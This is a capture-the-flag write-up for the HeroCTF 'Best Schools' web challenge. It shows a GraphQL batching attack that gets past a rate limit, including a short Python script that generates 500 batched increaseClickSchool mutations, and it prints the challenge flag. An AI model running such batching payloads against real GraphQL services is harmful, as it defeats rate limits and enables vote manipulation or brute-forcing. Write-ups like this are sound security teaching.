Tags: graphql batching_attack
Rating:
# Best Schools
## Background
An anonymous company has decided to publish a ranking of the best schools, and it is based on the number of clicks on a button! Make sure you get the 'Flag CyberSecurity School' in first place and you'll get your reward!
> Deploy on [deploy.heroctf.fr](https://deploy.heroctf.fr/)
Format : **Hero{flag}**
Author : **Worty**
## Enumeration
**Home page:**
In here, we can add 1 to the number of clicks in each school, and get the flag.
**We can try to click the "Get The Flag!" button:**
When we clicked that, it returns "'Flag CyberSecurity School' is not the best, no flag for you".
With that said, **our goal should be getting more than 1337 number of clicks in "Flag CyberSecurity School".**
Now, if we proxy through our requests, we can see the following **GraphQL queries**:
**View source page:**
```html
[...]
<div class="col text-center">
Welcome on the school ranking app !
It's very simple, just click on "i'm at this school" and the ranking will be updated !
When we click the "Get The Flag!" button, it'll send a GET request to `/flag`, and it'll response us with some data, which is the output of checking the highest number of clicks?
**Then, when the window is loaded:**
```html
<script>
var schoolNames = ["Cyber Super School","University Of Cybersecurity","Flag CyberSecurity School","The Best Best CyberSecurity School"]
function updateHtml(res_graphql)
{
$("#ranking").empty();
var best_school = res_graphql[0].data.getNbClickSchool.schoolName;
var maxNbClick = res_graphql[0].data.getNbClickSchool.nbClick
var html_append = `
<table class="table">
<thead class="thead-dark">
<tr>
<th scope="col">#</th>
<th scope="col">School Name</th>
<th scope="col">Number of clicks</th>
<th scope="col">Action</th>
</tr>
</thead>
<tbody>
`;
for(var i=0; i<res_graphql.length; i++)
{
if(maxNbClick < res_graphql[i].data.getNbClickSchool.nbClick)
{
best_school = res_graphql[i].data.getNbClickSchool.schoolName;
maxNbClick = res_graphql[i].data.getNbClickSchool.nbClick;
}
html_append+=`<tr><th scope="row">${res_graphql[i].data.getNbClickSchool.schoolId}</th><td>${res_graphql[i].data.getNbClickSchool.schoolName}</td><td id="click${res_graphql[i].data.getNbClickSchool.schoolId}">${res_graphql[i].data.getNbClickSchool.nbClick}</td><td><input type="button" onclick="updateNbClick('${res_graphql[i].data.getNbClickSchool.schoolName}')" class="btn btn-warning" value="I'm at this school"></input></td>`;
}
html_append+="</tbody></table>";
html_append+=`
The best school for cybersecurity is : ${best_school} with ${maxNbClick} clicks ! Congratulations !
`It'll loop through all the `schoolNames` and get the number of clicks via GraphQL `getNbClickSchool` query, then update the HTML content.
**Next, when we clicked "I'm at this school" button, it'll run the following JavaScript function:**
```js
function updateNbClick(schoolName)
{
var updated_school = [];
fetch("/graphql", {
method: "POST",
headers:{
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({query: `mutation { increaseClickSchool(schoolName: "${schoolName}"){schoolId, nbClick} }`})
}).then(r => r.json())
.then(
function(data)
{
if(data.error != undefined)
{
alert(data.error)
}
document.getElementById(`click${data.data.increaseClickSchool.schoolId}`).innerHTML = data.data.increaseClickSchool.nbClick
}
)
}
```
This will send a POST request to `/graphql` endpoint and **using the `increaseClickSchool` mutation query to update the number of clicks.**
Now, we can we do to update the number of clicks in "Flag CyberSecurity School" more than 1337??
Since **mutation query** is used to make changes in the server-side, we could pay extra attention on the `increaseClickSchool` mutation query.
**When we send the query too fast, it'll returns the following response:**
## Exploitation
That being said, it has implemented rate limiting.
Hmm that's weird!!
**Can we bypass that??**
Yes we can, and it's an attack in GraphQL: ***GraphQL Batching Attack***
**In [Paulo A. Silva](https://checkmarx.com/blog/didnt-notice-your-rate-limiting-graphql-batching-attack/) blog, we could send multiple queries:**
**Let's try that!**
Oh!! it works!!
**Now, let's copy those mutation query more than 1337 times, and we should able to get the flag!**
**Generating payload Python script:**
```py
#!/usr/bin/env python3
if __name__ == '__main__':
batchingPayload = '''{"query":"mutation { increaseClickSchool(schoolName: \\"Flag CyberSecurity School\\"){schoolId, nbClick} }"},'''
lastBatchingPayload = '''{"query":"mutation { increaseClickSchool(schoolName: \\"Flag CyberSecurity School\\"){schoolId, nbClick} }"}'''
print(f'[{batchingPayload * 499}{lastBatchingPayload}]')
```
We're very close!
Nice! Let's get the flag!
- **Flag: `Hero{gr4phql_b4tch1ng_t0_byp4ss_r4t3_l1m1t_!!}`**
## Conclusion
What we've learned:
1. Exploiting GraphQL Batching Attack